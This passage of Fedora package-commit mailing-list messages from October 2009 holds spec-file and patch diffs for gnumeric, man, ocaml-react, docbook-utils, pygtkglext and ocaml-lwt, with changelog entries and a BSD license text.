@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
+	details->actions = gtk_action_group_new (extra_ui->group_name);
 
 	for (ptr = extra_ui->actions; ptr != NULL ; ptr = ptr->next) {
 		action = ptr->data;



Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/devel/gnumeric.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- gnumeric.spec	25 Jul 2009 00:58:01 -0000	1.46
+++ gnumeric.spec	12 Oct 2009 07:51:30 -0000	1.47
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          3%{?dist}
+Release:          4%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -12,6 +12,7 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
+Patch3:		  gnumeric-1.8.4-recent.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -63,6 +64,7 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
+%patch3 -p1
 
 chmod -x plugins/excel/rc4.?
 
@@ -191,6 +193,9 @@ fi
 
 
 %changelog
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
+- Resolve rhbz #500890
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From varekova at fedoraproject.org  Mon Oct 12 08:10:07 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Mon, 12 Oct 2009 08:10:07 +0000 (UTC)
Subject: rpms/man/devel man-1.6f-man2html-suffixes.patch, NONE, 1.1 man.spec,
	1.83, 1.84
Message-ID: <20091012081007.E6B1211C02A1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5519

Modified Files:
	man.spec 
Added Files:
	man-1.6f-man2html-suffixes.patch 
Log Message:
- fix man2html to enable to use longer suffixes (#526112)


man-1.6f-man2html-suffixes.patch:
 man2html.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE man-1.6f-man2html-suffixes.patch ---
diff -up man-1.6f/man2html/man2html.c.pom man-1.6f/man2html/man2html.c
--- man-1.6f/man2html/man2html.c.pom	2009-10-12 09:56:00.000000000 +0200
+++ man-1.6f/man2html/man2html.c	2009-10-12 09:59:35.000000000 +0200
@@ -171,7 +171,12 @@ add_links(char *c)
                                 /* section is n or l or starts with a digit */
 		  && strchr("123456789nl", f[1])
 		  && (g-f == 2 || (g-f == 3 && isdigit(f[1]) && isalpha(f[2]))
-		               || (f[2] == 'X' && isdigit(f[1])))
+		               || (g-f == 4 && isdigit(f[1]) && isalpha(f[2]) && 
+		                   isalpha(f[3]))
+		               || (g-f == 5 && isdigit(f[1]) && isalpha(f[2]) &&
+		                   isalpha(f[3]) && isalpha(f[4]))
+		               || (g-f == 6 && isdigit(f[1]) && isalpha(f[2]) &&
+		                   isalpha(f[3]) && isalpha(f[4]) && isalpha(f[5])))
 	       ) {
 		/* this might be a link */
 		h=f-1;


Index: man.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man/devel/man.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- man.spec	11 Aug 2009 10:10:38 -0000	1.83
+++ man.spec	12 Oct 2009 08:10:04 -0000	1.84
@@ -4,7 +4,7 @@
 Summary: A set of documentation tools: man, apropos and whatis
 Name: man
 Version: 1.6f
-Release: 22%{?dist}
+Release: 23%{?dist}
 
 License: GPLv2
 Group: System Environment/Base
@@ -39,6 +39,7 @@ Patch35: man-1.6f-makewhatis_whis.patch
 Patch36: man-1.6f-makewhatis_update.patch
 Patch37: man-1.6f-makewhatis_perf.patch
 Patch38: man-1.6f-makewhatis_use.patch
+Patch39: man-1.6f-man2html-suffixes.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: coreutils
@@ -84,6 +85,7 @@ primary way to find documentation on a L
 %patch36 -p1 -b .update
 %patch37 -p1 -b .perf
 %patch38 -p1 -b .use
+%patch39 -p1 -b .suff
 
 cp -f %{SOURCE3} msgs   # replace bad ru trans
 cp -f %{SOURCE5} ./
@@ -267,6 +269,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Ivana Varekova <varekova at redhat.com> - 1.6f-23
+- fix man2html to enable to use longer suffixes (#526112)
+
 * Tue Aug 11 2009 Ivana Varekova <varekova at redhat.com> - 1.6f-22
 - fix makewhatis format bug (#513553)
 



From rjones at fedoraproject.org  Mon Oct 12 08:22:35 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 08:22:35 +0000 (UTC)
Subject: rpms/ocaml-react/devel import.log, NONE, 1.1 ocaml-react.spec, NONE,
	1.1 react-LICENSE, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091012082235.DCA3511C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-react/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10944/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ocaml-react.spec react-LICENSE 
Log Message:
Initial import.



--- NEW FILE import.log ---
ocaml-react-0_9_0-2_fc11:HEAD:ocaml-react-0.9.0-2.fc11.src.rpm:1255335732


--- NEW FILE ocaml-react.spec ---
%global opt %(test -x %{_bindir}/ocamlopt && echo 1 || echo 0)
%global debug_package %{nil}

Name:           ocaml-react
Version:        0.9.0
Release:        2%{?dist}
Summary:        OCaml framework for Functional Reactive Programming (FRP)

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Group:          Development/Libraries
License:        BSD
URL:            http://erratique.ch/software/react

Source0:        http://erratique.ch/software/react/releases/react-%{version}.tbz
Source1:        react-LICENSE

BuildRequires:  ocaml >= 3.10.0
BuildRequires:  ocaml-findlib-devel
BuildRequires:  ocaml-ocamldoc
BuildRequires:  chrpath

%global _use_internal_dependency_generator 0
%global __find_requires /usr/lib/rpm/ocaml-find-requires.sh
%global __find_provides /usr/lib/rpm/ocaml-find-provides.sh


%description
React is an OCaml module for functional reactive programming (FRP). It
provides support to program with time varying values : applicative
events and signals. React doesn't define any primitive event or
signal, this lets the client chooses the concrete timeline.

React is made of a single, independent, module and distributed under
the new BSD license.

Given an absolute notion of time Rtime helps you to manage a timeline
and provides time stamp events, delayed events and delayed signals.


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
The %{name}-devel package contains libraries and signature files for
developing applications that use %{name}.


%prep
%setup -q -n react-%{version}
cp %{SOURCE1} LICENSE


%build
./build


%install
rm -rf $RPM_BUILD_ROOT
export INSTALLDIR=$RPM_BUILD_ROOT%{_libdir}/ocaml/react
mkdir -p $INSTALLDIR
./build install


%check
%if %opt
./build test.native
./_build/test/test.native
./build clock.native
#./_build/test/clock.native
./build breakout.native
#./_build/test/breakout.native
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{_libdir}/ocaml/react
%if %opt
%exclude %{_libdir}/ocaml/react/*.cmx
%endif
%exclude %{_libdir}/ocaml/react/*.mli
%exclude %{_libdir}/ocaml/react/*.ml


%files devel
%defattr(-,root,root,-)
%doc CHANGES README
%if %opt
%{_libdir}/ocaml/react/*.cmx
%endif
%{_libdir}/ocaml/react/*.mli
%{_libdir}/ocaml/react/*.ml


%changelog
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.9.0-2
- Initial RPM release.
- Use global instead of define (Till Maas).


--- NEW FILE react-LICENSE ---
(*----------------------------------------------------------------------------
  Copyright (c) 2009, Daniel C. B?nzli
  All rights reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:
        
  1. Redistributions of source code must retain the above copyright
     notice, this list of conditions and the following disclaimer.

  2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the
     distribution.

  3. Neither the name of the Daniel C. B?nzli nor the names of
     contributors may be used to endorse or promote products derived
     from this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  ----------------------------------------------------------------------------*)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-react/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:16:46 -0000	1.1
+++ .cvsignore	12 Oct 2009 08:22:34 -0000	1.2
@@ -0,0 +1 @@
+react-0.9.0.tbz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-react/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:16:46 -0000	1.1
+++ sources	12 Oct 2009 08:22:35 -0000	1.2
@@ -0,0 +1 @@
+193a64a2abb0eebc6a88c19fba18ca85  react-0.9.0.tbz



From rjones at fedoraproject.org  Mon Oct 12 08:23:11 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 08:23:11 +0000 (UTC)
Subject: rpms/ocaml-react/F-12 import.log, NONE, 1.1 ocaml-react.spec, NONE, 
	1.1 react-LICENSE, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091012082311.A8A7E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-react/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11131/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log ocaml-react.spec react-LICENSE 
Log Message:
Initial import.



--- NEW FILE import.log ---
ocaml-react-0_9_0-2_fc11:F-12:ocaml-react-0.9.0-2.fc11.src.rpm:1255335761


--- NEW FILE ocaml-react.spec ---
%global opt %(test -x %{_bindir}/ocamlopt && echo 1 || echo 0)
%global debug_package %{nil}

Name:           ocaml-react
Version:        0.9.0
Release:        2%{?dist}
Summary:        OCaml framework for Functional Reactive Programming (FRP)

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Group:          Development/Libraries
License:        BSD
URL:            http://erratique.ch/software/react

Source0:        http://erratique.ch/software/react/releases/react-%{version}.tbz
Source1:        react-LICENSE

BuildRequires:  ocaml >= 3.10.0
BuildRequires:  ocaml-findlib-devel
BuildRequires:  ocaml-ocamldoc
BuildRequires:  chrpath

%global _use_internal_dependency_generator 0
%global __find_requires /usr/lib/rpm/ocaml-find-requires.sh
%global __find_provides /usr/lib/rpm/ocaml-find-provides.sh


%description
React is an OCaml module for functional reactive programming (FRP). It
provides support to program with time varying values : applicative
events and signals. React doesn't define any primitive event or
signal, this lets the client chooses the concrete timeline.

React is made of a single, independent, module and distributed under
the new BSD license.

Given an absolute notion of time Rtime helps you to manage a timeline
and provides time stamp events, delayed events and delayed signals.


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}


%description    devel
The %{name}-devel package contains libraries and signature files for
developing applications that use %{name}.


%prep
%setup -q -n react-%{version}
cp %{SOURCE1} LICENSE


%build
./build


%install
rm -rf $RPM_BUILD_ROOT
export INSTALLDIR=$RPM_BUILD_ROOT%{_libdir}/ocaml/react
mkdir -p $INSTALLDIR
./build install


%check
%if %opt
./build test.native
./_build/test/test.native
./build clock.native
#./_build/test/clock.native
./build breakout.native
#./_build/test/breakout.native
%endif


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{_libdir}/ocaml/react
%if %opt
%exclude %{_libdir}/ocaml/react/*.cmx
%endif
%exclude %{_libdir}/ocaml/react/*.mli
%exclude %{_libdir}/ocaml/react/*.ml


%files devel
%defattr(-,root,root,-)
%doc CHANGES README
%if %opt
%{_libdir}/ocaml/react/*.cmx
%endif
%{_libdir}/ocaml/react/*.mli
%{_libdir}/ocaml/react/*.ml


%changelog
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.9.0-2
- Initial RPM release.
- Use global instead of define (Till Maas).


--- NEW FILE react-LICENSE ---
(*----------------------------------------------------------------------------
  Copyright (c) 2009, Daniel C. B?nzli
  All rights reserved.

  Redistribution and use in source and binary forms, with or without
  modification, are permitted provided that the following conditions are
  met:
        
  1. Redistributions of source code must retain the above copyright
     notice, this list of conditions and the following disclaimer.

  2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the
     distribution.

  3. Neither the name of the Daniel C. B?nzli nor the names of
     contributors may be used to endorse or promote products derived
     from this software without specific prior written permission.

  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  ----------------------------------------------------------------------------*)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-react/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:16:46 -0000	1.1
+++ .cvsignore	12 Oct 2009 08:23:09 -0000	1.2
@@ -0,0 +1 @@
+react-0.9.0.tbz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-react/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:16:46 -0000	1.1
+++ sources	12 Oct 2009 08:23:11 -0000	1.2
@@ -0,0 +1 @@
+193a64a2abb0eebc6a88c19fba18ca85  react-0.9.0.tbz



From ovasik at fedoraproject.org  Mon Oct 12 08:26:42 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 12 Oct 2009 08:26:42 +0000 (UTC)
Subject: rpms/docbook-utils/F-12 docbook-utils-papersize.patch, NONE,
	1.1 docbook-utils.spec, 1.35, 1.36
Message-ID: <20091012082642.A75A111C00DB@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11828

Modified Files:
	docbook-utils.spec 
Added Files:
	docbook-utils-papersize.patch 
Log Message:
fix locale-based papersize selection (#527395)

docbook-utils-papersize.patch:
 jw.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE docbook-utils-papersize.patch ---
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-10-07 14:41:19.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-10-07 14:45:22.000000000 +0200
@@ -368,7 +368,7 @@ case "$SGML_OPTIONS" in
 	fi
 	if [ -n "$papersize" ]
 	then
-	  SGML_OPTIONS="-V paper-type=$papersize $SGML_OPTIONS"
+	  SGML_OPTIONS="-V %paper-type%=$papersize $SGML_OPTIONS"
 	fi
 	;;
 esac


Index: docbook-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-utils/F-12/docbook-utils.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- docbook-utils.spec	27 Aug 2009 14:00:20 -0000	1.35
+++ docbook-utils.spec	12 Oct 2009 08:26:42 -0000	1.36
@@ -1,6 +1,6 @@
 Name: docbook-utils
 Version: 0.6.14
-Release: 20%{?dist}
+Release: 21%{?dist}
 Group: Applications/Text
 
 Summary: Shell scripts for managing DocBook documents
@@ -34,6 +34,7 @@ Patch2: docbook-utils-w3mtxtconvert.patc
 Patch3: docbook-utils-grepnocolors.patch
 Patch4: docbook-utils-sgmlinclude.patch
 Patch5: docbook-utils-rtfmanpage.patch
+Patch6: docbook-utils-papersize.patch
 
 %description
 This package contains scripts are for easy conversion from DocBook
@@ -63,6 +64,7 @@ PDF format.
 %patch3 -p1 -b .grepnocolors
 %patch4 -p1 -b .sgmlinclude
 %patch5 -p1 -b .rtfman
+%patch6 -p1 -b .papersize
 
 %build
 ./configure --prefix=%{_prefix} --mandir=%{_mandir} --libdir=%{_libdir}
@@ -132,6 +134,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/*/docbook2ps.*
 
 %changelog
+* Wed Oct 07 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-21
+- fix locale-based papersize selection (#527395)
+
 * Thu Aug 27 2009 Ondrej Vasik <ovasik at redhat.com> 0.6.14-20
 - provide symlink manpage for docbook2txt
 



From kasal at fedoraproject.org  Mon Oct 12 08:28:02 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 12 Oct 2009 08:28:02 +0000 (UTC)
Subject: rpms/pygtkglext/devel pygtkglext.spec,1.6,1.7
Message-ID: <20091012082802.636E811C00DB@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/pygtkglext/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11998

Modified Files:
	pygtkglext.spec 
Log Message:
fix typo in description


Index: pygtkglext.spec
===================================================================
RCS file: /cvs/extras/rpms/pygtkglext/devel/pygtkglext.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- pygtkglext.spec	26 Jul 2009 19:51:48 -0000	1.6
+++ pygtkglext.spec	12 Oct 2009 08:28:02 -0000	1.7
@@ -14,7 +14,7 @@ BuildRequires:  gtkglext-devel pygtk2-de
 Requires:       pygtk2 PyOpenGL
 
 %description
-Python bindings for GtkGTLExt
+Python bindings for GtkGLExt.
 
 
 %package        devel



From varekova at fedoraproject.org  Mon Oct 12 08:30:21 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Mon, 12 Oct 2009 08:30:21 +0000 (UTC)
Subject: rpms/man/F-12 man-1.6f-man2html-suffixes.patch, NONE, 1.1 man.spec, 
	1.83, 1.84
Message-ID: <20091012083021.7028511C04D1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/man/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12341

Modified Files:
	man.spec 
Added Files:
	man-1.6f-man2html-suffixes.patch 
Log Message:
- fix man2html to enable to use longer suffixes (#526112)


man-1.6f-man2html-suffixes.patch:
 man2html.c |    7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

--- NEW FILE man-1.6f-man2html-suffixes.patch ---
diff -up man-1.6f/man2html/man2html.c.pom man-1.6f/man2html/man2html.c
--- man-1.6f/man2html/man2html.c.pom	2009-10-12 09:56:00.000000000 +0200
+++ man-1.6f/man2html/man2html.c	2009-10-12 09:59:35.000000000 +0200
@@ -171,7 +171,12 @@ add_links(char *c)
                                 /* section is n or l or starts with a digit */
 		  && strchr("123456789nl", f[1])
 		  && (g-f == 2 || (g-f == 3 && isdigit(f[1]) && isalpha(f[2]))
-		               || (f[2] == 'X' && isdigit(f[1])))
+		               || (g-f == 4 && isdigit(f[1]) && isalpha(f[2]) && 
+		                   isalpha(f[3]))
+		               || (g-f == 5 && isdigit(f[1]) && isalpha(f[2]) &&
+		                   isalpha(f[3]) && isalpha(f[4]))
+		               || (g-f == 6 && isdigit(f[1]) && isalpha(f[2]) &&
+		                   isalpha(f[3]) && isalpha(f[4]) && isalpha(f[5])))
 	       ) {
 		/* this might be a link */
 		h=f-1;


Index: man.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man/F-12/man.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- man.spec	11 Aug 2009 10:10:38 -0000	1.83
+++ man.spec	12 Oct 2009 08:30:20 -0000	1.84
@@ -4,7 +4,7 @@
 Summary: A set of documentation tools: man, apropos and whatis
 Name: man
 Version: 1.6f
-Release: 22%{?dist}
+Release: 23%{?dist}
 
 License: GPLv2
 Group: System Environment/Base
@@ -39,6 +39,7 @@ Patch35: man-1.6f-makewhatis_whis.patch
 Patch36: man-1.6f-makewhatis_update.patch
 Patch37: man-1.6f-makewhatis_perf.patch
 Patch38: man-1.6f-makewhatis_use.patch
+Patch39: man-1.6f-man2html-suffixes.patch
 
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: coreutils
@@ -84,6 +85,7 @@ primary way to find documentation on a L
 %patch36 -p1 -b .update
 %patch37 -p1 -b .perf
 %patch38 -p1 -b .use
+%patch39 -p1 -b .suff
 
 cp -f %{SOURCE3} msgs   # replace bad ru trans
 cp -f %{SOURCE5} ./
@@ -267,6 +269,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Ivana Varekova <varekova at redhat.com> - 1.6f-23
+- fix man2html to enable to use longer suffixes (#526112)
+
 * Tue Aug 11 2009 Ivana Varekova <varekova at redhat.com> - 1.6f-22
 - fix makewhatis format bug (#513553)
 



From rjones at fedoraproject.org  Mon Oct 12 08:39:51 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Mon, 12 Oct 2009 08:39:51 +0000 (UTC)
Subject: rpms/ocaml-lwt/devel ocaml-lwt.spec,1.8,1.9
Message-ID: <20091012083951.4EB2C11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-lwt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14846

Modified Files:
	ocaml-lwt.spec 
Log Message:
ocaml-react is now in Fedora, so build this package.


Index: ocaml-lwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lwt/devel/ocaml-lwt.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ocaml-lwt.spec	8 Oct 2009 12:42:49 -0000	1.8
+++ ocaml-lwt.spec	12 Oct 2009 08:39:50 -0000	1.9
@@ -3,7 +3,7 @@
 
 Name:           ocaml-lwt
 Version:        2.0.0
-Release:        0.rc1%{?dist}
+Release:        0.1.rc1%{?dist}
 Summary:        OCaml lightweight thread library
 
 Group:          Development/Libraries
@@ -93,6 +93,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 12 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.1.rc1.fc13
+- ocaml-react is now in Fedora, so build this package.
+
 * Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.rc1.fc13
 - New upstream version 2.0.0+rc1.
 - NB. This cannot be built as it depends on new package ocaml-react



From ovasik at fedoraproject.org  Mon Oct 12 08:40:43 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Mon, 12 Oct 2009 08:40:43 +0000 (UTC)
Subject: rpms/docbook-utils/F-11 docbook-utils-papersize.patch, NONE,
	1.1 docbook-utils-rtfmanpage.patch, NONE,
	1.1 docbook-utils-sgmlinclude.patch, NONE,
	1.1 docbook-utils-2ndspaces.patch, 1.1, 1.2 docbook-utils.spec,
	1.31, 1.32 docbook2man-spec.pl, 1.1, 1.2
Message-ID: <20091012084043.8E1C211C02A1@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15110

Modified Files:
	docbook-utils-2ndspaces.patch docbook-utils.spec 
	docbook2man-spec.pl 
Added Files:
	docbook-utils-papersize.patch docbook-utils-rtfmanpage.patch 
	docbook-utils-sgmlinclude.patch 
Log Message:
Cumulative update from rawhide

docbook-utils-papersize.patch:
 jw.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE docbook-utils-papersize.patch ---
diff -urNp docbook-utils-0.6.14-orig/bin/jw.in docbook-utils-0.6.14/bin/jw.in
--- docbook-utils-0.6.14-orig/bin/jw.in	2009-10-07 14:41:19.000000000 +0200
+++ docbook-utils-0.6.14/bin/jw.in	2009-10-07 14:45:22.000000000 +0200
